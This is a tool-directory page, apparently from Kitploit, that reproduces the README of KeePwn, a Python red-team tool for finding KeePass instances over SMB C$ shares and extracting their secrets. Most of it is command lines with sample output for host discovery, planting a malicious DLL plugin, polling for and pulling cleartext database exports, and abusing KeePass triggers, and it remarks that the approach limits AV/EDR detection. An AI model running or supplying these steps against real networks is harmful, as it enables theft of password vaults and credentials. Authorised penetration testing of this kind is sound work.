Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
KeePwn — A python tool to automate KeePass discovery and secret extraction. | Kitploit
Tools/GitHubGitHub/orange-cyberdefense/keepwn
Password CrackingExploitationPost-ExploitationRed Teaming
GitHuborange-cyberdefense/keepwn

KeePwn

A python tool to automate KeePass discovery and secret extraction.

View Repository
52754141 year agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

A python script to help red teamers discover KeePass instances and extract secrets.

Features

  • KeePass Discovery
    • Look for KeePass installation files through SMB C$ share.
    • Accept multiple target sources (IP, CIDR, hostname, file).
    • Check for KeePass metadata (version, last access time).
    • Check for running KeePass process through Impacket-based RPC.
    • Multi-threaded implementation to avoid bottleneck hosts.
    • Export search results to CSV.
    • Find KDBX databases.
  • KeePass Plugin Abuse
    • Add and remove KeePass plugins (see KeeFarce Reborn) through SMB C$ share.
    • Retrieve cleartext exports on the remote host.
  • KeePass Trigger Abuse
    • Add and remove triggers (see: KeeThief from KeePass configuration file through SMB C$ share.
    • Retrieve cleartext exports on the remote host.
    • Customize triggers with command line arguments.
  • KeePass Dump Parsing
    • Parse memory dumps to find master password candidates (CVE-2023-32784).
    • Parse memory dumps to find encryption key.
  • KeePass Database Cracking
    • Convert KDBX to John and Hashcat compatible formats.
    • Add support for KDBX 4.x format.
  • Authentication
    • Support LM/NT hash authentication.
    • Support Kerberos Authentication.
  • Miscellaneous
    • Write unit tests.
    • Make the project available on PyPI .

Installation

git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help

Or if you don't want to install but just run in a virtualenv:

git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help

Usage

Discovery

KeePwn's search module is used to identify hosts that run KeePass on your target environment:

$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt

[*] Starting remote KeePass search with 5 threads

[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found

It makes use of Active Directory built-in C$ share to look for KeePass-related files in default locations, hence requiring administrator privileges on the targets.

The module will first look for KeePass.config.xml configuration file in each user's %APPDATA%\KeePass folder, as well as KeePass.exe in its default installation path (C:\Program Files\KeePass Password Safe 2). If a configuration file is found but KeePass is not installed globally, KeePwn will look for portable installations up to --max-depth subfolders.

This basic search technique should be enough to accurately determine if KeePass is used on a workstation or not. In addition, the --get-process option will use Impacket's RPC implementation to determine if KeePass is currently running on the target.

Various quality of life options are also included to let you export search results to a CSV file, display only targets where KeePass is found and adjust the number of parallel threads:

$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv

[*] Starting remote KeePass search with 4 threads

[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)

[+] Search results logged to keepwn_out.csv
Plugin Abuse

KeePass features a plugin framework which can be abused to load malicious DLLs into KeePass process, allowing attackers with administrator rights to easily export the database (see: KeeFarceRebornPlugin).

KeePwn's plugin module allows to :

  • List currently installed plugins and enumerate the plugin cache

    $ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                   
    
    [*] No path specified, searching in default locations..
    [*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
    [*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
    
  • Add and remove your malicious plugins

    $ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll  
    
    [*] No path specified, searching in default locations..
    [*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
    [!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
    > y
    [+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
    
  • Poll %APPDATA% for exports and automatically moves it from remote host to local filesystem

    $ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                  
    
    [*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE                                                                                                                                                                                
    [+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
    [+] Moved remote export to ./export.xml
    

These actions are made through SMB C$ share access, limiting AV/EDR detection as no command execution is performed.

Trigger Abuse

As described in @harmj0y's blog post (and later CVE-2023-24055), KeePass trigger system can be abused in order to export the database in cleartext.

KeePwn's trigger module allows to :

  • Check if a malicious trigger named "export" is currently written in KeePass configuration

    $ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       
    
    [*] No KeePass configuration path specified, searching in default locations..
    [*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
    [*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
    [*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
    [+] No trigger found in KeePass configuration
    

    Note that KeePwn will prevent you to abuse plugins if the detected KeePass version is not affected by this technique.

  • Add and remove a malicious trigger named "export" which performs a cleartext export of the database in %APPDATA% on next KeePass launch

Download Tool